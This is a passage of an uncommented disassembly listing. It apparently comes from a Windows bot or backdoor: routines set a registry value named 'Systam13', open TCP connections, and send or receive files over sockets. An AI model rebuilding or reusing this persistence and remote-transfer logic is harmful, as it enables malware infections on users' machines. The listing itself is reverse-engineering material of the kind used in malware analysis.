		inc	dword_4313B4
		pop	ebx


loc_40BEEE:				; CODE XREF: sub_40BE75+35j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		leave
		retn
sub_40BE75	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BEF5	proc near		; CODE XREF: sub_40EE72+5B56p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	esi
		push	edi
		push	0
		push	[ebp+arg_8]
		push	offset dword_42DF90
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 14h
		xor	edi, edi
		mov	esi, offset dword_444340


loc_40BF1F:				; CODE XREF: sub_40BEF5+72j
		cmp	byte ptr [esi],	0
		jz	short loc_40BF5A
		lea	eax, [esi+18h]
		push	eax
		push	esi
		push	edi
		push	offset dword_42DF84
		lea	eax, [ebp+var_200]
		push	200h
		push	eax
		call	sub_41782A
		push	1
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 2Ch


loc_40BF5A:				; CODE XREF: sub_40BEF5+2Dj
		add	esi, 0B8h
		inc	edi
		cmp	esi, offset dword_444EC0
		jl	short loc_40BF1F
		pop	edi
		pop	esi
		leave
		retn
sub_40BEF5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BF6D	proc near		; CODE XREF: sub_401000+9Ap
					; sub_4010B5+314p ...

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		nop
		call	near ptr 2610000h
		mov	ebx, offset dword_443A34
		mov	edi, 80h
		mov	esi, offset dword_43FA34


loc_40BF8F:				; CODE XREF: sub_40BF6D+3Dj
		cmp	byte ptr [ebx],	0
		jz	short loc_40BFA6
		push	7Fh
		lea	eax, [ebx+80h]
		push	ebx
		push	eax
		call	sub_418C10
		add	esp, 0Ch


loc_40BFA6:				; CODE XREF: sub_40BF6D+25j
		sub	ebx, edi
		cmp	ebx, esi
		jge	short loc_40BF8F
		movzx	eax, [ebp+var_4]
		push	[ebp+arg_0]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		push	offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
		push	edi
		push	esi
		call	sub_41782A
		add	esp, 28h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40BF6D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BFE1	proc near		; CODE XREF: sub_407BDE+15Bp
					; ___:00407F15p ...

var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 80h
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_80]
		push	[ebp+arg_0]
		push	80h
		push	eax
		call	sub_4193FF
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_40BF6D
		add	esp, 14h
		leave
		retn
sub_40BFE1	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C00D	proc near		; CODE XREF: sub_40EE72+5A4Dp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, offset dword_43FA34
		xor	ecx, ecx


loc_40C014:				; CODE XREF: sub_40C00D+13j
		mov	[eax], cl
		add	eax, 80h
		cmp	eax, offset dword_443A34
		jl	short loc_40C014
		cmp	[esp+arg_C], ecx
		push	esi
		mov	esi, offset dword_42DFC4
		jnz	short loc_40C044
		push	ecx
		push	[esp+8+arg_8]
		push	esi
		push	[esp+10h+arg_4]
		push	[esp+14h+arg_0]
		call	sub_40D679
		add	esp, 14h


loc_40C044:				; CODE XREF: sub_40C00D+1Fj
		push	esi
		call	sub_40BF6D
		pop	ecx
		pop	esi
		retn
sub_40C00D	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C04D	proc near		; CODE XREF: sub_402DD7+2AEp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, offset dword_43FA34


loc_40C053:				; CODE XREF: sub_40C04D+27j
		cmp	byte ptr [esi],	0
		jz	short loc_40C068
		push	[esp+4+arg_0]
		push	esi
		call	sub_40A96F
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40C07A


loc_40C068:				; CODE XREF: sub_40C04D+9j
		add	esi, 80h
		cmp	esi, offset dword_443A34
		jl	short loc_40C053
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40C07A:				; CODE XREF: sub_40C04D+19j
		push	1
		pop	eax
		pop	esi
		retn
sub_40C04D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C07F	proc near		; DATA XREF: sub_40EE72+5B00o

var_31C		= byte ptr -31Ch
var_11C		= dword	ptr -11Ch
var_118		= byte ptr -118h
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 31Ch
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	45h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_11C]
		push	1
		rep movsd
		xor	edx, edx
		pop	edi
		cmp	[ebp+var_10], edx
		mov	[ebp+var_8], 80h
		mov	[ebp+var_4], edx
		mov	[eax+110h], edi
		jnz	short loc_40C0D2
		push	edx
		lea	eax, [ebp+var_118]
		push	[ebp+var_14]
		push	offset dword_42E018
		push	eax
		push	[ebp+var_11C]
		call	sub_40D679
		add	esp, 14h


loc_40C0D2:				; CODE XREF: sub_40C07F+33j
		cmp	[ebp+var_98], 0
		jz	short loc_40C0F2
		lea	eax, [ebp+var_98]
		push	eax
		call	sub_41781F
		test	eax, eax
		pop	ecx
		mov	[ebp+var_4], eax
		jz	short loc_40C0F2
		mov	[ebp+var_8], eax


loc_40C0F2:				; CODE XREF: sub_40C07F+5Aj
					; sub_40C07F+6Ej
		and	[ebp+arg_0], 0
		mov	esi, offset dword_43FA34


loc_40C0FB:				; CODE XREF: sub_40C07F+D4j
		mov	eax, [ebp+arg_0]
		cmp	eax, [ebp+var_8]
		jge	short loc_40C155
		cmp	byte ptr [esi],	0
		jz	short loc_40C144
		cmp	[ebp+var_98], 0
		jz	short loc_40C12A
		cmp	[ebp+var_4], 0
		jnz	short loc_40C12A
		lea	eax, [ebp+var_98]
		push	eax
		push	esi
		call	sub_40A96F
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40C144


loc_40C12A:				; CODE XREF: sub_40C07F+90j
					; sub_40C07F+96j
		push	edi
		lea	eax, [ebp+var_118]
		push	[ebp+var_14]
		push	esi
		push	eax
		push	[ebp+var_11C]
		call	sub_40D679
		add	esp, 14h


loc_40C144:				; CODE XREF: sub_40C07F+87j
					; sub_40C07F+A9j
		inc	[ebp+arg_0]
		add	esi, 80h
		cmp	esi, offset dword_443A34
		jl	short loc_40C0FB


loc_40C155:				; CODE XREF: sub_40C07F+82j
		lea	eax, [ebp+var_31C]
		push	offset dword_42DFEC
		push	eax
		call	sub_4172AE
		xor	esi, esi
		pop	ecx
		cmp	[ebp+var_10], esi
		pop	ecx
		jnz	short loc_40C18F
		push	esi
		lea	eax, [ebp+var_31C]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_118]
		push	eax
		push	[ebp+var_11C]
		call	sub_40D679
		add	esp, 14h


loc_40C18F:				; CODE XREF: sub_40C07F+EEj
		lea	eax, [ebp+var_31C]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_18]
		call	sub_417076
		pop	ecx
		pop	ecx
		push	esi
		nop
		call	near ptr 25F0278h
		pop	edi
		pop	esi
sub_40C07F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C1AE	proc near		; CODE XREF: sub_40AC42+1Ep
					; ___:0040E9EFp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, offset dword_42E038
		xor	esi, esi
		mov	ebx, offset aSystam13 ;	"Systam13"


loc_40C1C1:				; CODE XREF: sub_40C1AE+69j
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		push	esi
		push	0F003Fh
		push	esi
		push	esi
		push	esi
		push	dword ptr [edi+4]
		push	dword ptr [edi]
		call	dword_43F61C
		cmp	[ebp+arg_0], esi
		jz	short loc_40C1FB
		push	[ebp+arg_0]
		call	sub_417AB0
		pop	ecx
		push	eax
		push	[ebp+arg_0]
		push	1
		push	esi
		push	ebx
		push	[ebp+var_4]
		call	dword_43F68C
		jmp	short loc_40C205
; ---------------------------------------------------------------------------


loc_40C1FB:				; CODE XREF: sub_40C1AE+2Fj
		push	ebx
		push	[ebp+var_4]
		call	dword_43F5D4


loc_40C205:				; CODE XREF: sub_40C1AE+4Bj
		push	[ebp+var_4]
		call	dword_43F644
		add	edi, 8
		cmp	edi, offset dword_42E050
		jb	short loc_40C1C1
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40C1AE	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C21E	proc near		; CODE XREF: sub_40C259+56p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_0]
		push	esi
		or	esi, 0FFFFFFFFh
		test	eax, eax
		jz	short loc_40C253
		push	ebx
		push	edi
		lea	edi, [eax]
		mov	ecx, 0FFh


loc_40C237:				; CODE XREF: sub_40C21E+31j
		mov	al, [edx]
		mov	ebx, esi
		and	eax, ecx
		and	ebx, ecx
		xor	eax, ebx
		shr	esi, 8
		mov	eax, dword_424298[eax*4]
		xor	esi, eax
		inc	edx
		dec	edi
		jnz	short loc_40C237
		pop	edi
		pop	ebx


loc_40C253:				; CODE XREF: sub_40C21E+Ej
		mov	eax, esi
		pop	esi
		not	eax
		retn
sub_40C21E	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C259	proc near		; CODE XREF: sub_40CAF1+24Ap

var_10		= dword	ptr -10h
arg_0		= dword	ptr  4

		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		push	ebx
		call	sub_417B89
		mov	[esp+10h+var_10], offset aRb ; "rb"
		push	[esp+10h+arg_0]
		mov	esi, eax
		call	sub_4179A8
		mov	edi, eax
		pop	ecx
		test	edi, edi
		pop	ecx
		jz	short loc_40C2A8


loc_40C27E:				; CODE XREF: sub_40C259+4Dj
		test	byte ptr [edi+0Ch], 10h
		jnz	short loc_40C2AC
		inc	ebx
		push	ebx
		push	esi
		call	sub_41944F
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_40C2A8
		push	edi
		push	1
		lea	eax, [esi+ebx-1]
		push	1
		push	eax
		call	sub_418A86
		add	esp, 10h
		jmp	short loc_40C27E
; ---------------------------------------------------------------------------


loc_40C2A8:				; CODE XREF: sub_40C259+23j
					; sub_40C259+39j
		xor	eax, eax
		jmp	short loc_40C2C7
; ---------------------------------------------------------------------------


loc_40C2AC:				; CODE XREF: sub_40C259+29j
		dec	ebx
		push	ebx
		push	esi
		call	sub_40C21E
		push	esi
		mov	ebx, eax
		call	sub_417C3B
		push	edi
		call	sub_417900
		add	esp, 10h
		mov	eax, ebx


loc_40C2C7:				; CODE XREF: sub_40C259+51j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40C259	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C2CB	proc near		; CODE XREF: sub_40C351+33p
					; sub_40C8B4+BCp

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		push	0
		push	1
		push	2
		call	dword_43F6E8
		mov	edi, eax
		or	esi, 0FFFFFFFFh
		cmp	edi, esi
		jz	short loc_40C347
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_417330
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_4]
		call	dword_43F668
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	dword_43F6A8
		cmp	eax, esi
		jnz	short loc_40C32C
		push	[ebp+arg_0]
		call	dword_43F6EC
		test	eax, eax
		jz	short loc_40C347
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]


loc_40C32C:				; CODE XREF: sub_40C2CB+4Bj
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	edi
		call	dword_43F610
		cmp	eax, esi
		jnz	short loc_40C34B
		push	edi
		call	dword_43F700


loc_40C347:				; CODE XREF: sub_40C2CB+1Bj
					; sub_40C2CB+58j
		mov	eax, esi
		jmp	short loc_40C34D
; ---------------------------------------------------------------------------


loc_40C34B:				; CODE XREF: sub_40C2CB+73j
		mov	eax, edi


loc_40C34D:				; CODE XREF: sub_40C2CB+7Ej
		pop	edi
		pop	esi
		leave
		retn
sub_40C2CB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C351	proc near		; DATA XREF: sub_40EE72+A88o

var_11B4	= byte ptr -11B4h
var_1B4		= byte ptr -1B4h
var_1AC		= byte ptr -1ACh
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 11B4h
		call	sub_417B30
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_1B4]
		rep movsd
		push	1
		pop	esi
		push	[ebp+var_14]
		mov	[eax+1B0h], esi
		lea	eax, [ebp+var_1AC]
		push	eax
		call	sub_40C2CB
		mov	ebx, eax
		pop	ecx
		cmp	ebx, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_40C3E4
		lea	eax, [ebp+var_11B4]
		push	offset dword_42E0D4
		push	eax
		call	sub_4172AE
		xor	edi, edi
		pop	ecx
		cmp	[ebp+var_8], edi
		pop	ecx
		jnz	short loc_40C3C7
		push	edi
		lea	eax, [ebp+var_11B4]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	ebx
		call	sub_40D679
		add	esp, 14h


loc_40C3C7:				; CODE XREF: sub_40C351+59j
		lea	eax, [ebp+var_11B4]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_10]
		call	sub_417076
		pop	ecx
		pop	ecx
		push	esi
		call	near ptr 25F0278h
		nop


loc_40C3E4:				; CODE XREF: sub_40C351+3Fj
		push	offset byte_43C80C
		push	ebx
		call	sub_40B56C
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_40C44F
		lea	eax, [ebp+var_11B4]
		push	offset dword_42E094
		push	eax
		call	sub_4172AE
		xor	edi, edi
		pop	ecx
		cmp	[ebp+var_8], edi
		pop	ecx
		jnz	short loc_40C42B
		push	edi
		lea	eax, [ebp+var_11B4]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	ebx
		call	sub_40D679
		add	esp, 14h


loc_40C42B:				; CODE XREF: sub_40C351+BDj
		lea	eax, [ebp+var_11B4]
		push	eax
		call	sub_40BF6D
		pop	ecx
		push	ebx
		call	dword_43F700
		push	[ebp+var_10]
		call	sub_417076
		pop	ecx
		push	esi
		call	near ptr 25F0278h
		nop


loc_40C44F:				; CODE XREF: sub_40C351+A3j
		push	64h
		nop
		call	near ptr 260048Fh
		xor	edi, edi
		mov	esi, 1000h


loc_40C45E:				; CODE XREF: sub_40C351+168j
		push	esi
		lea	eax, [ebp+var_11B4]
		push	edi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+var_11B4]
		push	edi
		push	esi
		push	eax
		push	ebx
		call	dword_43F680
		test	eax, eax
		jle	short loc_40C4BB
		lea	eax, [ebp+var_11B4]
		push	offset asc_42A660 ; "\n"
		push	eax
		call	sub_4179D0
		lea	eax, [ebp+var_11B4]
		push	eax
		call	sub_40B358
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_40C4BB
		push	64h
		nop
		call	near ptr 260048Fh
		push	7
		call	sub_416FA2
		test	eax, eax
		pop	ecx
		jnz	short loc_40C45E


loc_40C4BB:				; CODE XREF: sub_40C351+130j
					; sub_40C351+154j
		lea	eax, [ebp+var_11B4]
		push	offset dword_42E050
		push	eax
		call	sub_4172AE
		cmp	[ebp+var_8], edi
		pop	ecx
		pop	ecx
		jnz	short loc_40C4EE
		push	edi
		lea	eax, [ebp+var_11B4]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	ebx
		call	sub_40D679
		add	esp, 14h


loc_40C4EE:				; CODE XREF: sub_40C351+180j
		lea	eax, [ebp+var_11B4]
		push	eax
		call	sub_40BF6D
		pop	ecx
		push	ebx
		call	dword_43F700
		push	[ebp+var_10]
		call	sub_417076
		pop	ecx
		push	edi
		nop
		call	near ptr 25F0278h
sub_40C351	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C512	proc near		; DATA XREF: sub_40EE72+4A7Co

var_A04		= byte ptr -0A04h
var_604		= byte ptr -604h
var_500		= dword	ptr -500h
var_4FC		= dword	ptr -4FCh
var_3FC		= byte ptr -3FCh
var_1FC		= dword	ptr -1FCh
var_1F8		= dword	ptr -1F8h
var_1E0		= byte ptr -1E0h
var_DC		= byte ptr -0DCh
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_48		= byte ptr -48h
var_44		= dword	ptr -44h
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_2E		= dword	ptr -2Eh
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0A04h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_1FC]
		rep movsd
		push	1
		xor	esi, esi
		pop	ebx
		mov	[ebp+var_10], esi
		push	esi
		push	ebx
		push	2
		mov	[eax+1B0h], ebx
		mov	[ebp+var_C], esi
		mov	[ebp+var_20], esi
		call	dword_43F6E8
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_18], edi
		jnz	short loc_40C560
		push	offset dword_42E258
		jmp	loc_40C719
; ---------------------------------------------------------------------------


loc_40C560:				; CODE XREF: sub_40C512+42j
		push	10h
		lea	eax, [ebp+var_30]
		push	esi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		mov	[ebp+var_30], 2
		push	esi
		call	dword_43F668
		mov	word ptr [ebp+var_2E], ax
		lea	eax, [ebp+var_30]
		push	10h
		push	eax
		push	edi
		mov	[ebp+var_2E+2],	esi
		call	dword_43F694
		test	eax, eax
		jz	short loc_40C59E
		push	offset dword_42E224
		jmp	loc_40C719
; ---------------------------------------------------------------------------


loc_40C59E:				; CODE XREF: sub_40C512+80j
		lea	eax, [ebp+var_1C]
		mov	[ebp+var_1C], 10h
		push	eax
		lea	eax, [ebp+var_30]
		push	eax
		push	edi
		call	dword_43F60C
		push	[ebp+var_2E]
		call	dword_43F5A4
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_1E0]
		push	eax
		mov	[ebp+arg_0], esi
		call	sub_417AB0
		pop	ecx


loc_40C5D0:				; CODE XREF: sub_40C512+EFj
		mov	ecx, [ebp+arg_0]
		mov	al, [ebp+ecx+var_1E0]
		cmp	al, 20h
		jnz	short loc_40C5E3
		push	5Fh
		pop	eax
		jmp	short loc_40C5E6
; ---------------------------------------------------------------------------


loc_40C5E3:				; CODE XREF: sub_40C512+CAj
		movsx	eax, al


loc_40C5E6:				; CODE XREF: sub_40C512+CFj
		mov	[ebp+ecx+var_604], al
		lea	eax, [ebp+var_1E0]
		inc	ecx
		push	eax
		mov	[ebp+arg_0], ecx
		call	sub_417AB0
		cmp	[ebp+arg_0], eax
		pop	ecx
		jbe	short loc_40C5D0
		push	ebx
		push	edi
		call	dword_43F690
		test	eax, eax
		jz	short loc_40C619
		push	offset dword_42E0D4
		jmp	loc_40C719
; ---------------------------------------------------------------------------


loc_40C619:				; CODE XREF: sub_40C512+FBj
		push	esi
		push	esi
		push	3
		push	esi
		push	ebx
		lea	eax, [ebp+var_1E0]
		push	80000000h
		push	eax
		nop
		call	near ptr 2650879h
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_8], eax
		jnz	short loc_40C643
		push	offset dword_42E1F4
		jmp	loc_40C719
; ---------------------------------------------------------------------------


loc_40C643:				; CODE XREF: sub_40C512+125j
		push	esi
		push	eax
		nop
		call	near ptr 2690000h
		mov	[ebp+arg_0], eax
		push	eax
		movzx	eax, word ptr [ebp+var_4]
		push	eax
		push	[ebp+var_1FC]
		call	sub_40AEE0
		pop	ecx
		push	eax
		call	dword_43F6A8
		push	eax
		call	dword_43F664
		push	eax
		lea	eax, [ebp+var_1E0]
		push	eax
		lea	eax, [ebp+var_3FC]
		push	offset dword_42E1DC
		push	eax
		call	sub_4172AE
		push	esi
		lea	eax, [ebp+var_3FC]
		push	esi
		push	eax
		lea	eax, [ebp+var_DC]
		push	eax
		push	[ebp+var_1FC]
		call	sub_40D679
		add	esp, 2Ch
		lea	eax, [ebp+var_38]
		mov	[ebp+var_38], 3Ch
		mov	[ebp+var_34], esi
		push	eax
		push	esi
		lea	eax, [ebp+var_500]
		push	esi
		push	eax
		push	esi
		mov	[ebp+var_4FC], edi
		mov	[ebp+var_500], ebx
		call	dword_43F650
		test	eax, eax
		jg	short loc_40C6F3
		push	esi
		lea	eax, [ebp+var_DC]
		push	[ebp+var_54]
		push	offset dword_42E1B4
		push	eax
		push	[ebp+var_1FC]
		call	sub_40D679
		jmp	loc_40C817
; ---------------------------------------------------------------------------


loc_40C6F3:				; CODE XREF: sub_40C512+1BFj
		lea	eax, [ebp+var_14]
		mov	[ebp+var_14], 10h
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		push	edi
		call	dword_43F6FC
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_1F8], eax
		jnz	short loc_40C72C
		push	offset dword_42E180


loc_40C719:				; CODE XREF: sub_40C512+49j
					; sub_40C512+87j ...
		lea	eax, [ebp+var_3FC]
		push	eax
		call	sub_4172AE
		pop	ecx
		pop	ecx
		jmp	loc_40C81A
; ---------------------------------------------------------------------------


loc_40C72C:				; CODE XREF: sub_40C512+200j
		push	edi
		call	dword_43F700
		cmp	[ebp+arg_0], esi
		jz	loc_40C7DE
		mov	edi, 400h


loc_40C741:				; CODE XREF: sub_40C512+2C3j
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		cmp	eax, edi
		jge	short loc_40C74E
		mov	[ebp+var_4], eax


loc_40C74E:				; CODE XREF: sub_40C512+237j
		push	edi
		lea	eax, [ebp+var_A04]
		push	esi
		push	eax
		call	sub_417330
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		neg	eax
		push	2
		push	esi
		push	eax
		push	[ebp+var_8]
		nop
		call	near ptr 26D0000h
		lea	eax, [ebp+var_20]
		push	esi
		push	eax
		lea	eax, [ebp+var_A04]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8]
		nop
		call	near ptr 2630000h
		push	esi
		lea	eax, [ebp+var_A04]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_1F8]
		call	dword_43F6B8
		mov	[ebp+var_4], eax
		push	esi
		cdq
		add	[ebp+var_10], eax
		lea	eax, [ebp+var_A04]
		push	edi
		push	eax
		push	[ebp+var_1F8]
		adc	[ebp+var_C], edx
		call	dword_43F680
		cmp	eax, ebx
		jl	loc_40C873
		mov	eax, [ebp+var_4]
		cmp	eax, ebx
		jl	loc_40C873
		sub	[ebp+arg_0], eax
		jnz	loc_40C741
		mov	edi, [ebp+var_18]


loc_40C7DE:				; CODE XREF: sub_40C512+224j
		push	[ebp+var_8]
		nop
		call	near ptr 26307C3h
		push	[ebp+var_C]
		push	[ebp+var_10]
		call	sub_40D01A
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1E0]
		push	eax
		push	[ebp+var_44]
		call	dword_43F6F4
		push	eax
		lea	eax, [ebp+var_3FC]
		push	offset dword_42E130
		push	eax
		call	sub_4172AE


loc_40C817:				; CODE XREF: sub_40C512+1DCj
		add	esp, 14h


loc_40C81A:				; CODE XREF: sub_40C512+215j
		cmp	[ebp+var_50], esi
		jnz	short loc_40C83F
		push	esi
		lea	eax, [ebp+var_3FC]
		push	[ebp+var_54]
		push	eax
		lea	eax, [ebp+var_DC]
		push	eax
		push	[ebp+var_1FC]
		call	sub_40D679
		add	esp, 14h


loc_40C83F:				; CODE XREF: sub_40C512+30Bj
		lea	eax, [ebp+var_3FC]
		push	eax
		call	sub_40BF6D
		cmp	edi, esi
		pop	ecx
		jbe	short loc_40C857
		push	edi
		call	dword_43F700


loc_40C857:				; CODE XREF: sub_40C512+33Cj
		push	[ebp+var_1F8]
		call	dword_43F700
		push	[ebp+var_58]
		call	sub_417076
		pop	ecx
		push	esi
		nop
		call	near ptr 25F0278h


loc_40C873:				; CODE XREF: sub_40C512+2AFj
					; sub_40C512+2BAj
		push	esi
		mov	esi, offset dword_42E108
		push	[ebp+var_54]
		lea	eax, [ebp+var_DC]
		push	esi
		push	eax
		push	[ebp+var_1FC]
		call	sub_40D679
		push	esi
		call	sub_40BF6D
		add	esp, 18h
		push	[ebp+var_1F8]
		call	dword_43F700
		push	[ebp+var_58]
		call	sub_417076
		pop	ecx
		push	ebx
		nop
		call	near ptr 25F0278h
sub_40C512	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C8B4	proc near		; DATA XREF: sub_40EE72+7C0o

var_14C4	= byte ptr -14C4h
var_4C4		= byte ptr -4C4h
var_2C4		= byte ptr -2C4h
var_1C0		= dword	ptr -1C0h
var_1B8		= byte ptr -1B8h
var_1A4		= byte ptr -1A4h
var_A0		= byte ptr -0A0h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 14C4h
		call	sub_417B30
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_1C0]
		rep movsd
		push	1
		xor	ebx, ebx
		pop	esi
		mov	[ebp+var_8], ebx
		mov	[eax+1B0h], esi
		lea	eax, [ebp+var_2C4]
		push	104h
		push	eax
		nop
		call	near ptr 260051Fh
		lea	eax, [ebp+var_1A4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aSS_2	; "%s%s"
		push	eax
		call	sub_4172AE
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	80h
		push	2
		push	ebx
		push	esi
		push	40000000h
		push	eax
		nop
		call	near ptr 2650879h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40C93E
		push	offset dword_42E350
		jmp	short loc_40C984
; ---------------------------------------------------------------------------


loc_40C93E:				; CODE XREF: sub_40C8B4+81j
		push	eax
		nop
		call	near ptr 26307C3h
		lea	eax, [ebp+var_2C4]
		push	offset aAB	; "a+b"
		push	eax
		call	sub_4179A8
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_4], eax
		jnz	short loc_40C966
		push	offset dword_42E310
		jmp	short loc_40C984
; ---------------------------------------------------------------------------


loc_40C966:				; CODE XREF: sub_40C8B4+A9j
		push	[ebp+var_20]
		lea	eax, [ebp+var_1B8]
		push	eax
		call	sub_40C2CB
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		mov	[ebp+arg_0], eax
		jnz	short loc_40C997
		push	offset dword_42E2E0


loc_40C984:				; CODE XREF: sub_40C8B4+88j
					; sub_40C8B4+B0j
		lea	eax, [ebp+var_4C4]
		push	eax
		call	sub_4172AE
		pop	ecx
		pop	ecx
		jmp	loc_40CA93
; ---------------------------------------------------------------------------


loc_40C997:				; CODE XREF: sub_40C8B4+C9j
		mov	esi, 1000h


loc_40C99C:				; CODE XREF: sub_40C8B4+14Ej
		push	esi
		lea	eax, [ebp+var_14C4]
		push	ebx
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+var_14C4]
